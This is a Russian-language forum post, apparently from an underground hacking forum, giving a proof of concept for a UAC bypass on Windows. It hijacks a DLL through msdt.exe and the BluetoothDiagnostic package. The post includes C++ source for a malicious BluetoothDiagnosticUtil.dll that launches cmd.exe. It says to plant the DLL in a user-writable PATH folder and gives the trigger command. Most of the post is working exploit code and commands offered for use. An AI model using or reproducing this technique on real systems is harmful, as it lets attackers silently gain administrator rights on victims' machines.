• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья msdt dll hjack uac bypass

ice0

RAID-массив
Пользователь
Регистрация
21.10.2024
Сообщения
94
Реакции
59
Гарант сделки
1
Теория

Microsoft Support Diagnostic Tool ( MSDT, msdt.exe ) поддерживает автоматическое повышение прав. MSDT использует xml-конфигурации диагностических пакетов, некоторые из которых требуют прав администратора. Эти пакеты находятся по пути: c:\windows\diagnostics\index. Пакеты которым нужны права содержат в себе следующую строчку.
XML:
<?xml version="1.0" encoding="utf-8"?>

<PackageConfiguration xmlns="http://www.microsoft.com/schemas/dcm/configuration/2008">
  ...
    <Id>AppsDiagnostic</Id>
    <RequiresAdminPrivileges>true</RequiresAdminPrivileges>  /** тут**/
    ...
  </Index>
</PackageConfiguration>

Если запустить 32-х битную версию msdt.exe ( c:\windows\syswow64\msdt.exe ) с BluetoothDiagnostic конфигом, то можно заабьюзить длл.
Код:
c:\windows\syswow64\msdt.exe -path C:\WINDOWS\diagnostics\index\BluetoothDiagnostic.xml -skip yes
Что происходит? Запускается msdt.exe, а затем автоэливейтится ( повышает права ) и запускает sdiagnhost.exe. sdiagnhost.exe ищет BluetoothDiagnosticUtil.dll в системных путях.

POC

Компилим нашу BluetoothDiagnosticUtil.dll ( x86 ).
C++:
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE h, DWORD reason, LPVOID) {
    if (reason == DLL_PROCESS_ATTACH) {
        STARTUPINFO si = { 0 };
        PROCESS_INFORMATION pi = { 0 };
        si.cb = sizeof(si);
        wchar_t cmd[] = L"cmd.exe";
        CreateProcessW(
            NULL,               
            cmd,
            NULL,               
            NULL,               
            FALSE,             
            0,                 
            NULL,               
            NULL,               
            &si,               
            &pi                 
        );
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
    return TRUE;
}

Кидаем по любому пути в PATH, но в нашем случае нам нужно дропнуть дллку без прав. Путь %appdata%\Local\Microsoft\WindowsApps, находится в PATH и не требует прав. И проверяем командой:
Код:
c:\windows\syswow64\msdt.exe -path C:\WINDOWS\diagnostics\index\BluetoothDiagnostic.xml -skip yes

credits: Emeric Nasi
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх